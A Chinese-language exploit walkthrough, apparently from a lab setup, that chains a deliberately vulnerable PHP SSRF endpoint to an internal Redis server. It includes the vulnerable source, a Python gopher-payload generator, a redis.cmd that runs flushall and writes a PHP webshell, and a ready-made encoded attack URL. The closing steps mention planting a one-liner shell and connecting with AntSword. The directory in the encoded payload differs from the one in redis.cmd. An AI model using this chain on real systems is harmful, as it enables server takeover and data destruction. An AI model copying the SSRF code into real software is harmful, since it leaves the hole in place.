漏洞源码

<?php

  $url=$_GET['url'];
  $ch=curl_init();
  curl_setopt($ch,CURLOPT_URL,$url);
  curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);
  curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);
  curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  $res=curl_exec($ch);
 # if(curl_errno($ch)){
   # echo 'Curl error: ' . curl_error($ch);
  #}
  curl_close($ch);
  echo $res;

?>

• 懂的都懂，se 系统默认紧张 php curl 自己
• gopher协议生成.py（需要将自己的创建redis.cmd写入自己的payload)

import urllib

HOST = "127.0.0.1"
PORT = "6379"

def ord2hex(string):
    return '%'+'%02x' % (ord(string))
    
exp = "gopher://%s:%s/_" % (HOST, PORT)

for line in open("redis.cmd", "r"):
    word = ""
    str_flag = False
    redis_resps = []
    for char in line:
        if str_flag == True:
            if char == '"' or char == "'":
                str_flag = False
                if word != "":
                    redis_resps.append(word)
                word = ""
            else:
                word += char
        elif word == "" and (char == '"' or char == "'"):
            str_flag = True
        else:
            if char == " ":
                if word != "":
                    redis_resps.append(word)
                word = ""
            elif char == "\n":
                if word != "":
                    redis_resps.append(word)
                word = ""
            else:
                word += char
    #print redis_resps
    tmp_line = '*' + str(len(redis_resps)) + '\r\n'
    for word in redis_resps:
        tmp_line += '$' + str(len(word)) + '\r\n' + word + '\r\n'
    exp += "".join([ord2hex(i) for i in tmp_line])

print exp

View Code

1.  我的redis.cmd

flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

View Code

1. 开始渗透

    

    

2. 生成协议

    

    

3. 再次url编码

    

    

4. 访问

   192.168.237.131/ssrf.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%2f%5f%25%32%61%25%33%31%25%30%64%25%30%61%25%32%34%25%33%38%25%30%64%25%30%61%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%30%64%25%30%61%25%32%61%25%33%34%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%36%34%25%36%39%25%37%32%25%30%64%25%30%61%25%32%34%25%33%31%25%33%33%25%30%64%25%30%61%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%30%64%25%30%61%25%32%61%25%33%34%25%30%64%25%30%61%25%32%34%25%33%36%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%31%25%33%30%25%30%64%25%30%61%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%30%64%25%30%61%25%32%34%25%33%39%25%30%64%25%30%61%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%61%25%32%61%25%33%33%25%30%64%25%30%61%25%32%34%25%33%33%25%30%64%25%30%61%25%37%33%25%36%35%25%37%34%25%30%64%25%30%61%25%32%34%25%33%38%25%30%64%25%30%61%25%37%37%25%36%35%25%36%32%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%30%64%25%30%61%25%32%34%25%33%31%25%33%38%25%30%64%25%30%61%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%37%30%25%36%38%25%37%30%25%36%39%25%36%65%25%36%36%25%36%66%25%32%38%25%32%39%25%33%62%25%33%66%25%33%65%25%30%64%25%30%61%25%32%61%25%33%31%25%30%64%25%30%61%25%32%34%25%33%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35%25%30%64%25%30%61

    

5. 

    

    

6. 入侵成功
7. 写入一句话

    

    

8. 再次生成
9. 蚁剑登场